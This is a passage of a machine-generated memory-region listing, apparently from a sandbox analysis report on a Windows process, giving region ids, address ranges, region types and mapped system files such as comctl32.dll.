monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6366 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6367 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 6368 start_va = 0x1ba90000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 6369 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 6370 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 6371 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 6372 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6373 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6374 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6375 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6376 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6377 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6378 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6379 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6380 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6381 start_va = 0x1bae0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bae0000" filename = "" Region: id = 6382 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 6383 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 6384 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 6385 start_va = 0x7ffaa2e30000 end_va = 0x7ffaa2e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e30000" filename = "" Region: id = 6393 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6394 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6395 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6396 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6397 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6398 start_va = 0x7ffaa2e40000 end_va = 0x7ffaa2e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e40000" filename = "" Region: id = 6399 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6400 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6401 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6402 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6403 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6404 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6405 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6406 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6407 start_va = 0x1d4a0000 end_va = 0x1d59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d4a0000" filename = "" Region: id = 6408 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6409 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6410 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6411 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6412 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6413 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6414 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6415 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6416 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6417 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6418 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6419 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6420 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6421 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6422 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6423 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6424 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6425 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6426 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6427 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6428 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6429 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6430 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6431 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6433 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6434 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6435 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6437 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6438 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6439 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6440 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6441 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 6442 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6443 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6444 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6445 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6446 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6447 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6448 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6449 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6450 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6451 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6452 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6453 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6454 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6455 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6456 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6457 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6458 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6459 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6460 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6461 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6462 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6463 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6464 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6465 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6466 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6468 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6469 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6470 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6471 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6472 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6473 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6474 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6475 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6476 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6477 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6478 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6479 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6480 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6481 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6482 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6483 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6484 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6485 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6486 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6487 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6488 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6489 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6497 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6556 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6557 start_va = 0x1d5a0000 end_va = 0x1d69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d5a0000" filename = "" Region: id = 6558 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6559 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6560 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6561 start_va = 0x1b170000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 6563 start_va = 0x1ba70000 end_va = 0x1bb15fff monitored = 0 entry_point = 0x1ba793e0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll") Region: id = 6564 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 6567 start_va = 0x7ffb02c60000 end_va = 0x7ffb02d09fff monitored = 0 entry_point = 0x7ffb02c693e0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_396e892957c7fb25\\comctl32.dll") Region: id = 6568 start_va = 0x1b0f0000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6572 start_va = 0x7ffaa2e80000 end_va = 0x7ffaa2e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e80000" filename = "" Region: id = 6573 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6574 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 6575 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6576 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6577 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6578 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 6580 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 6588 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 6589 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6590 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6598 start_va = 0x1b140000 end_va = 0x1b150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b140000" filename = "" Region: id = 6599 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6600 start_va = 0x1b0f0000 end_va = 0x1b0f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 6603 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6604 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6606 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6611 start_va = 0x1b160000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 6612 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6613 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6614 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6615 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6618 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6619 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6621 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6622 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6626 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6627 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6628 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6629 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6630 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6631 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6633 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6635 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6636 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6637 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6638 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6639 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6640 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6641 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 6642 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 6643 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 6645 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 6646 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 6647 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 6648 start_va = 0x1bae0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bae0000" filename = "" Region: id = 6649 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 6650 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 6651 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 6652 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 6653 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 6654 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 6655 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 6656 start_va = 0x1daa0000 end_va = 0x1daaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daa0000" filename = "" Region: id = 6657 start_va = 0x1dab0000 end_va = 0x1dabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dab0000" filename = "" Region: id = 6658 start_va = 0x1dac0000 end_va = 0x1dacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dac0000" filename = "" Region: id = 6659 start_va = 0x1dad0000 end_va = 0x1dadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dad0000" filename = "" Region: id = 6660 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 6661 start_va = 0x1daf0000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 6662 start_va = 0x1db10000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 6663 start_va = 0x1db30000 end_va = 0x1db5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 6664 start_va = 0x1db60000 end_va = 0x1db6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db60000" filename = "" Region: id = 6665 start_va = 0x1db70000 end_va = 0x1db7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db70000" filename = "" Region: id = 6666 start_va = 0x1db80000 end_va = 0x1db8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db80000" filename = "" Region: id = 6667 start_va = 0x1db90000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 6668 start_va = 0x1dba0000 end_va = 0x1dbaffff monitored = 1 entry_point = 0x0 region_type = private name = 